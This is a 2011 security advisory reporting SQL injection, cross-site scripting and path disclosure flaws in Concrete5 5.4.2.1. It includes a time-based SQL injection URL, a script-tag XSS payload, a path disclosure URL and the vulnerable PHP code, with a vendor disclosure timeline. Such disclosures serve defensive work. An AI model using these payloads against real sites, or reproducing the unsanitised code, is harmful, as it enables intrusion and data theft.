Concrete5 <= 5.4.2.1 Multiple Vulnerabilities

                           .!JQ
                  :MQMQQQQQMQQ!
                 QQQMQMQMQMQMQ
                *QQQMQMQMQMQQ.
                MMQQMQMQMQMQM
                QMQQMQMQMQMQQ.                    MMQQQQQMQM
                QQQQMQQMQQMQQMJ               JQ:            J
                QQQQQQM+QQQMM*  *QQ         :    +MQQMQQMQQQJ
                MQQQQQ!  .+MQQQQQQ* +        !MQQQQM*         M
                MQQQQM        .QMQMQJ       JQQM.*
                *QMQQM            QQ.         M
                .QQQMQQ            MQQ       Q                :
                .QMQQMQQMQMQMQQM!:QMQMQ!         MQQMQMQQQQ:JM+
                 QQM     :++J*. !MQMQMQ+           !+JJ*.     M+
                 QQ           !   QMQQQQ                       !
                 QM              :QQMQQQ
                 QQ             +MQQMQMQ
                 QM            QQQMQQQQM
                 MQ            QQMQQMQQ:           !
                 +M.        .QQQQQMQQQQ             QM         :
                 .MJ  MQMQQ:      :MQMQ!    *QQQ        *MQJQ
                  MQ.  Q:MQ          !QMQQMQ:          :QM +J
                   QM  +J QMQ:      MMQQM!QMQM:      JQQJ .M
                    QQ  Q: !MQQMQQQQQQMJ   QQQMQQQQQMQM   Q.
                     QM  Q.      :*+!  .     .*++*:      Q.
                      QM* Q+                           +Q
                       !QQ :Q                         M.
                         QQ  M:        QMQQM+       *+
                          :QQ  Q        MQQJ       Q
                            MQ  M      !QQMQ      *
                              QJ :     QMQMQM   !
                               !M  .   QQMQMM  +
                                 Q!    JQQQQ. !
                                   J    QMQQ .
                                        +QQ
                                         QJ


# Exploit Title: Concrete5 <= 5.4.2.1 SQL Injection AND XSS Vulnerabilities

# DATE: 2011-10-04

#Published: ☠Cantuaria (http://brzu.net/0h3)

# Author: Ryan Dewhurst

# Software Link:

http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/

# Version: 5.4.2.1 (tested)



1.Vulnerability Description



Multiple SQL Injection, Cross-Site Scripting (XSS) AND Information

Disclosure vulnerabilities were IDENTIFIED WITHIN Concrete5 version

5.4.2.1



Please note: ONLY a SELECT few vulnerabilities are outlined IN this

disclosure, many other vulnerabilities were discovered. Due TO TIME

restraints ONLY a small sample

OF the vulnerabilities are outlined below. The vendor was contacted

AND replied promptly. Further assistance was asked FOR but NOT

delivered due TO my TIME constraints.



2.Software Description



CMS made FOR Marketing but built FOR Geeks, concrete5 [0] IS a content

management system that IS free AND OPEN SOURCE.



3.SQLi PoC [1] (authenticated USER)



http://concrete5.4.2/INDEX.php/dashboard/reports/surveys/?ccm_order_by=numberOfResponses&ccm_order_dir=,(SELECT

BENCHMARK(1000000,MD5(1)) FROM btSurveyResults WHERE CURRENT_USER()

LIKE 'root@localhost' LIMIT 1) --



4.Vulnerable code



File: concrete/controllers/dashboard/reports/surveys.php



class SurveyList extends DatabaseItemList {

        protected $itemsPerPage = 10;

        protected $autoSortColumns = array('cvName', 'question',

'numberOfResponses', 'lastResponse');



        FUNCTION __construct() {

                $this->setQuery(

                           'select distinct btSurvey.bID,

CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName,

(select max(timestamp) from btSurveyResults where btSurveyResults.bID

= btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as

lastResponse, (select count(timestamp) from btSurveyResults where

btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID =

CollectionVersions.cID) as numberOfResponses ' .

                                'from btSurvey, CollectionVersions,

CollectionVersionBlocks');

                $this->FILTER(FALSE, 'btSurvey.bID =

CollectionVersionBlocks.bID');

                $this->FILTER(FALSE, 'CollectionVersions.cID =

CollectionVersionBlocks.cID');

                $this->FILTER(FALSE, 'CollectionVersionBlocks.cvID =

CollectionVersionBlocks.cvID');

                $this->FILTER(FALSE, 'CollectionVersions.cvIsApproved = 1');

                $this->userPostQuery .= 'group by btSurvey.bID,

CollectionVersions.cID';

        }

}



5.Cross-Site Scripting (XSS)



Page: http://192.168.1.105/concrete5.4.2/INDEX.php/login/forgot_password/

Parameter: rcID

Method: POST

PoC: "><script>alert(1)</script>



6.Vulnerable Code



File: concrete/single_pages/login.php:



<input type="hidden" name="rcID" value="<?php echo $rcID?>" />



7.Full Path Disclosure (FPD)



http://concrete5.4.2/index.php/tools/blocks/page_list/blog_rss?bID=30&cID='&arHandle=Main



8.Vulnerability Timeline



2011-09-06 - Reported to vendor

2011-09-06 - Vendor Reply

2011-09-07 - Vendor Acknowledge Vulnerabilities and asked for

assistance patching. No assistance given apart from the initial report

due to time constraints.

2011-10-04 - Vulnerability Disclosed



9.References



[0] http://www.concrete5.org/

[1] http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/